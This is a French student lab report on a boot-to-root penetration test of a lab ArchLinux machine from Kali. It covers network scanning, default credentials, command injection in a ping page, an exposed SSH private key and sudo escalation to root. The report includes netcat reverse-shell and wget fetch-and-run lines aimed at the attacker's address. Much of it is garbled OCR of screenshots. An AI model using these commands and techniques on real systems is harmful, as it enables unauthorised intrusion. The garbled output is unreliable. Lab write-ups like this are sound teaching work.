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TP - Test d'intrusion Linux

L'objectif de ce TP était de rechercher et exploiter des vulnérabilités d’'une machine
ArchLinux pour arriver finalement a se connecter au compte root de la machine. Jai
effectué ce test d’intrusion depuis une machine Kali.
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R&D de base

Avant toute chose, il faut savoir quel est la machine Arch a attaquer, pour ceci depuis
ma machine d’attaque Kali, j’effectue la commande

sudo arp-scan --localnet

Qui va me permettre d’afficher toute mes IP qui sont sur mon réseaux local et comme
je connais mon réseau local, je sais que l'IP a attaquer est la 192.168.1.165

Inter : eth®, type: EN1OME, MAC: 08:@ el:cd:89, IPv4: 192.168.1.195
WARNING: Cannot open MAC ndor file ie i.txt: Permission denied

WARNING: Cannot open MA 1 : Permission denied
Starting arp-scan 1.10.@ ://github.com/royhills/arp-scan
)
192.
192.
192.

(Unknown)
(Unknown)
(Unknown)
192, (Unknown)
192, - (Unknown)
192.168.1. c:f3:08:64:62 (Unknown)
192 .168.1. : 3: fa (Unknown)
192.168.1. - : 3 (Unknown)
192.168.1. - (Unknown)

. (Unknown) (DUP:
ML : (Unknown) (DUP:

=il S = T

lter, © packets dropped by kernel
256 hosts scanned in 1.848 seconds (138.53 hosts/s
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Avec ce qu’on a appris, la premiére chose a faire et de faire un nmap pour connaitre
quelques informations essentielles sur cette machine a attaquer.

] A -Th 192.168.1.165
rting Nmap 7.95 ( https:
@:01:44 elapsed; @ ho L rgoing Service Scan
aining)

Host is up (i

Mot shown: 65531 closed tcp ports (re
STATE SERVICE VERSION
open ssh OpensSH 8.9 (pr

(1
ponly flag not set
-title: Login
ested resource was /login.ph
cp open mysgl MariaDB 1@. or earlier (unauthorized)

open llmnr?
5] 3F:EF (PCS Systemtechnik/Oracle VirtualBox virtual N

/tcp open
Address: © 3F: (PCS Systemtechnik/Oracle VirtualBox wirtual N

purpose | router

X, MikroTi 1 N

linux:1linux_kernel:5 cpe:/o:mikrot
5.6.3

21.02 (Linux 5.4), MikroTik Router(Qs 7

TRACEROUTE
HOP RTT ADD
1 @

0S and Service detection performed. Please report any incorrect results at ht
tps://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 161.35 seconds

On peut voir avec ce nmap que 4 ports sont ouverts, les plus importants pour moi sont
les port 22 et 80 car on a appris les vulnérabilités de ceux-ci mais je suppose qu’ily a
des vulnérabilités a exploiter aussi sur les ports 3306 et 5355.

22 étant SSH et 80 étant le serveur web, ce qui signifie que on peut se connecter en ssh
sion ales bons logins et que la machine dispose d’un serveur web exploitable.
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Le serveur web

Si on essaie de taper adresse IP de cette machine sur un navigateur on tombe sur un
page de login

@ WS o0SRE @ cruorone

Pourle moment on a aucun moyen de se connecter sur ce serveur alors on inspecte le
code source de la page et on tombe sur un indice trés interessent :

Session Actions Editer Vue Aide

polux@li: polx@iali: - B

dir - fust/share/wordlists/dirbuster/di
rectory-list-2.3-

a

Qo O=# Bl & cre oo
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Le mot de passe de base n’a toujours pas été changé donc on essaie de se connecter
au serveur web avec les crédential par défaut qui sont admin/admin et bingo !

O & Not Secure 192.168.

OffSec Kali Linux # KaliTools ¢ KaliDocs M Kali Forums ¥ Kali NetHunter Exploit-DB Google Hacking DB

Accueil

o Lesson Hacking
ing

Journaux es pings

Boite a idée rnalisation intégré ainsi qu'une boite a idée qui permet aux

Si on se balade sur les pages de ce serveur web on trouve la page ping. Il nous suffit de
rentrer une adresse et on voit le résultat du ping. Une commande s’effectue donc. Sion
essaie d’aller plus loin, on essaie de faire le ping et avec une virgule de faire une 2eme
commande autre qu’un ping que le site va effectuer car lui voit une adresse IP en
premier donc effectue son scripte.
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Par exemple voici la commande que j’ai taper pour avoir ce résultat

127.0.0.1, s

Ping

OffSec Kali Linux &8 Kali ls = Kali Docs & Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB

Accueil

Ping

Journaux . Ping Host !

Boite a idée

Et tout simplement le résultat est le ping du 127.0.0.1 et une liste des pages de ce site
web.

Une autre commande 127.0.0.1, whoami nous indique que nous sommes l'utilisateur
localadm est utilisé sur cette machine.

Je pense que nous pouvons utiliser cette page pour faire passer des commandes et
pourquoi pas obtenir un reverseshell ?.
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Ensuite nous trouvons cette page. Une boite a idées, avec quelques essaie, on peut voir
gu’elle ne fait qu’afficher ce qu’on écrit donc on ne peut pas exploiter pour lancer du
code.

i phph

& Not Secure

s & Kali Forums ex Kali NetHunter Exploit-DB Google Hacking DB

Accueil

o Ideas
ing

Journaux Visualisation des idées actuelles :

fote b dée e I S —

admin Les utilisateurs standards ne devraient pas accéder aux journaux.

J'ai une idée !

Soumettre une idée

admin which nc

admin

admin /home/polux/Bureau/test

admin nc -e /bin/bash 192.168.1.195 9500
admin /bin/sh -c "nc 192.168.1.195 9500 -e /bin/bash"
admin wget http://192.168.1.195/shell.sh
admin chmod +x shell.sh

admin ./shell.sh

admin cat /etc/passwd

admin

admin

J'ai une idée

Soumettre une idée
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En revanche, on remarque que ce sont des requétes SQL carily a un défaut dans ce
site c’est lorsque on envoie des caracteres inconnus du SQL tel que ‘, le tableau ne
s’affiche tout simplement pas.

@ Online-Re  http://192.168

OffSec Kali Linux & Kali * Ka %, Kali 5 - Exploit-DB Google Hacking DB

Accueil

Ping

Journaux Visualisation des idées actuelles :

Boite a idée

De ¢a, je sais que nous pouvons exploiter une vulnérabilité et faire des injections de
blindes SQL pour obtenir un reverse Shell mais je n’ai pas encore appris.

Apres m’étre balader sur ce site, je décide de faire un Gobuster pour lister toutes les
pages de ce serveur web pour voir si j’en aurait raté quelques-unes.
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La connexion SSH

htt

GET

1@

fusr/share/wordlists/dirb/common.txt
tatus codes: 424

Agent: gobustel
nsions: php,html, txt
l@s

On tombe sur un résultat intéressent car il existe une page /.ssh et on sait que on peut
se connecter sur la machine en ssh car le port est ouvert et surtout on a déja trouvé un
utilisateur, je décide alors de me rendre sur cette page.

10
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@ Online -

O & Not Secure

Kali Linux & KaliTools = Kali & Kali Forums e\ Kali NetHunter Exploit
Index of /.ssh
Name Last modified Size Description

« Parent Directory -
@ authorized keys 2022-04-03 15:52 576
[?)id rsa 2022-04-03 15:48 2.5K
[?] id_rsa.pub 2022-04-03 15:48 576

C @ O & Not Secure 192.16
OffSec KaliLinux # KaliT « KaliDocs % Kali Forums e Kali NetHunter

BEGIN OPENSSH PRIVATE KEY
b3BlbnNzaClrZXktdjEAAAAABGSVDbMUAAAAEDMIUZQAAAAAAAAABAAABLWAAAAdZC2gtCn
NhAAAAAWEAAQAAAYEAuheL fKpXp rmémKNWM3JehgoTekEh7FgU/qyKgalbku931gujDemB
UILVIwdaNBitd7mw+FYSWhhvgeMtaYexgTuWdAMuB7qichD0o5] Z/ opdHxwkX1gTM16IYC
4glgAEnkiuh9NS+/102WDS T/ fpMO/ 7AcenABIvBQcXn8V3yibCalgVkIGFcIBMEXtIoOPS
bH] IIZxNK2zsny(xS6MIBTyEHY ImS0aetmZoxKIS2PhW02ptgqkd09GET 1] reHhtsTiuw
eQtM1vGn4Xb+WBBg+haiSfMZbiiBXgkigQZkITPckLLcglI1Lglok,/ ra0yTjKIKBUSLKYS
SeXbB2snsABWGdl76AvKyvb4aUgS03ehIEj7dGTjk3ZdsI4bm7n/p@4upXMSIWFjBSBvgL3
mmgmdTyEm7 Le j cYUb rfX8mX+h8M/NpBykyNrSs jwVpYYtshmDLXb/0J7TaZEFoB6xg046w
EgPnrchWdg5h108e5jWmSrioz2m8710e8ipoBgZNAAAFKKYtDN21b0zdAAAAB3NZAC 1y c2
EAMAGBAL0X13yqV6aSupijViNyXoYKE3pBIexYFP6sigmiWsLvd5alIw/JgVPS1ScHW]QY
r¥e5sPhW0VoYb6en]j LWwmHsYE7 LuADLvO6onGwWAKOY2 f6KeB8cIF5akzNeiGHOIJagBl5Iro
fTUvwITt1gen /36 TNP+wHNpwWPCLWUHF5/Fd8omwmiIFZCRhXPOZhMbSKND/GxdyCGeTSts
7318kMUujPQe8uh23ZuaGnhpmaMsiltj4VjtgbYKpODvRvH4406 /h4bbCI1FnkLTNbxp+F2
/1g0YPolioknzGW4ogV4IToEGZCEZ3ICy3KiSZS6pdIP62] skdyiSgVLCymoUn129NrI7AN
FhnZe+glLysr2+FKktN3oSBI+3Rn45N2XbCeG5u5,/6d0LgVzEtVhYwUgh4C95poInUBhIuS
X036FG631/11/0fDPzafMpMja@rI8FawGLbIZg5V2/6Ce02mRBaAesYDuOsBID563IVnau
YdTvKOY1pkgyKMIpvO5SdHvIgaAamTOAAAAMBAAEAAAGADSwhggCOdoXELeCaul597z5ac
YvYmvRuSCOXi0bDgphyfrd4eERVb1e@6TokFudFgmGYYuGNXDMVIMN7D8Iet0luBakLyBds
1MBDYVx7DejJligMaXCOWcXcI0kHT7aFvCk+Z0P/a7a510FANAIoNZhZdtmx4K1eSg8pNOCW
VC5x4+fnszGY3nTiiuvySeheryaFj3Alyzsrigg+x5V+gfZnSh+/lggm2CZPtLwTopQueY
qULjXKp6zj9eunGglViMakxeWbx j+urOLWxROhADkva0ABhGbwuj o4qqYW30EqKxOnEQyW
1j920jCp36Ki520jB8120RS2zITR7VAGSWFCOMGGAPPivTdXz,/dulTjkZju2Ccdd/pBv+7
imAYvB9IABxiKAhRoAcqS/29GrNiLtCT/hYt+pSYyOFgKUyx72KEiUa20]plaAvxhahlXdR
zCvIS8gzPy2gFrv1]QrogzNGROISELBIrt2eiybnGnw+jHOGEYASBBpVO1YdaRW/ 0BAAAA
wDZf3RIhAoE6igD4aidZWHMz20a,/15,/McLQt91UMQ1IKTBY12dufoeikCgQMGZz8gQ9tDmdZ
6tRPj/D4nds1StxFxzLBel6BLIE2E3S11SA4EBjwT+dUBbnVF3PEmM12e 1 RXVIN+xjepFB3
Mpzcg9//ecFoQCkuGxnv172cD856G24+141iRPU]FFd9Bs5jMjzIC] iXfwOckmuvyBQjbZU
03JLHVU1x0YvS7C2cw] r6SnDPUOUKY+nDe8i6p0,/12hpBLOQAAAMEATTmTCGhPUjT1585k
dgphCAKO+1T9Drd52ZGO+LIk0d2LIDuhr71mtsitrHduY7LCPTWygjStghvLafvt7Xlw+a
SIbXuCZPL8HzB4PyQEWSeZELNpDVIcT31LZX4AnedeY5051UGe]0NL2pjDCBIHC3DHALSa
D2fPEWILva/LmCZBcQd/IPQ2w3qu+ARz fITgnlvkkiYfd6zZvMax+wlel0JZ3GNKONRI2X
2gEoSRTDXBuYhues rBMit4iANKxmqtAAAAWODIOeyMcSpT7Ycd4U3Ag2Y rdx1v71YoTaCokz
YuI9dQwUvBxs6UUvOtc/2x020IRcelxPAZOSCU]ypFlyE2TwZh7piamCnHWSWENTHIvCT0
1f+5GLD910C1LOTck22rxJ6TLYEEL raBHLSIEOSKVUBLAVLCP2XIvDHtGIy+64vYeiqlNy
¥MPPyTuj LkWCkAomZURE/IzNgRZXxXzTZ] EwFauBBBOWKAH1NYE1Dg+dna8aC1XWy11H]KS
FHCUB6 L WmxPiEAAAAWDGY ] YWxhZG1AYX] jaC10ZWlwbGFOZOECAWQF

END OPENSSH PRIVATE KEY
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Bingo, on obtient une clé RSA qui appartient a Uutilisateur localadm, on le voit dans la
subpage id_rsa.pub

On sauvegarde alors cette clé rsa dans un fichier qu’on renomme id_rsa

k. Bureau - Thunar
Fichier Edition Affichage Aller Favoris Aide
¢« ™M <« Apolux @ Bureau
Emplacements

L& Ordinateur

I polux

TryHackMe
Bureau ’

{;} Recent

® Corbeille

Documents
Musique
Images
Videos
Téléchargements
Périphériques
_ﬂ Systéme de fichi...
E sf share VM =
Réseau

Mo - wid_rsa» | 2,5Kio (26170 octets) | Plain text document
AFFANIFIF |l&a Frec

On peut donc se connecter en ssh sur la machine car nous avons l'utilisateur, 'adresse
IP de la machine et la clé RSA de lutilisateur, il nous faut taper la commande suivante :

ssh —i /home/polux/Bureau/id_rsa localadm@192.168.1.165
On arrive donc sur le compte de localadm.

En se baladant sur les répertoires on trouve 2 users, jean et toto avec le mot de passe
en clair de jean qu’on essaie et bingo on arrive a se connecter sur le compte de jean en
ssh.

12
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PHPMYADMIN

En se baladant sur le /home de toto, on peut voir qu’il est assez malveillant et qu’il nous
révele le mot de passe de la base de données du serveur web sous la page
phpmyadmin.

c notes sqgl.
anglessonHackingl toto]$

nalLessonHacking
[sudo] Mot
jean n'est pa
anglLessonHackingl tot
tes
ano main.c
-bash: nano : com e intr ble
nalLessonHacking main.c
lude <stdio.h>

"Hello World

$conn = new mysqli($s r, $user, $password, $d

onn—>query($sql

if($result—num_rows >

"id; " .$row["id"]. " - " .$row["username”]. " # " .$row["password"].

}

Je n’ai pas beaucoup exploré cette base de données mais je pense qu’on peut y obtenir
pas mal d’informations.

php B 8 server localtost =]

Databases || sQL Status User accounts =) Export (i} Import Settings Replication  + Variables = Charsets 4 Engines 3 Plugins

t Favorites

6 New
credentials

L

ideas tfamba_unicods_ci v

information_schema
journaux

mysal
performance_schema

7.3-MariaDB - Arch Linux

R

= nicode (utfamb4)

e @ |English »

13
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TO ROOT

On reprend depuis la connexion ssh sur le compte de localadm et on essaie de monter
en privilege pour atteindre le compte root.

En faisant sudo -l on peut voir que le compte localadm peut se connecter au comptes
services dans avoir besoin de mettre de mot de passe.

Avec l'aide du site GTFOBIins, on entre la commande pour élever nos privileges et on
arrive a se connecter au comptes services.

On recommence le process en faisant sudo -1 et on voit que le compte peut se
connecter au compte root en passant par le fichier .../vim.

Encore une fois avec l’aider du site GTFOBIns, on effectue la commande pour élever
nos privileges et on arrive donc sur le compte root.

[localadm@lLessonHackingl /1% sudo -1

L'utilisateur localadm peut utiliser les commandes
antes sur LessonHackingl

(service) : fusr/bin/php

[localadm@llessonHa g1 /1%

[localadm@lessonHackingl /1%

[localadmilLess 3 g1 /1%

[localadmilessonHackingl /1%

[loc i /1%

[10LaladmmLe /1%

[localadmile /1%

[localadmiLe /1%

[1D|q13dmmL ;]i sudo -u service fusr/bin/ph

I.l

o
=
=3
=
T

2 A A u'| u'| (0]

R ]
= =
- T T
ST

JDanDJ h
onHackingl J]$ sudo -1
ce peut utiliser les commandes suivan

[root@lLessonHackingl /W ami
bash: ami : commande introuvable
[root@lLessonHackingl /B whoami
root

[root@lessonHackingl /1 ]

J’ai donc réussi la mission boot to root et personnellement je me suis arrété la, car si je
suis en root, je suis en super utilisateurs et j’ai donc tous les droits. On pourrait passer
des jours sur cette machines et trouver plus de failles et tout connaitre avec ce fameux
droit root. J'ai essayé d’explorer un maximum et de faire ce boot to root en un temps
minimum pour me rapprocher de la réalité car parfois les attaquants n’ont pas
beaucoup de temps et une fois en root ils peuvent faire ce qu’ils veulent de cette
machine mais ce n’est pas mon souhait. J’ai trouvé une faille a renforcer.
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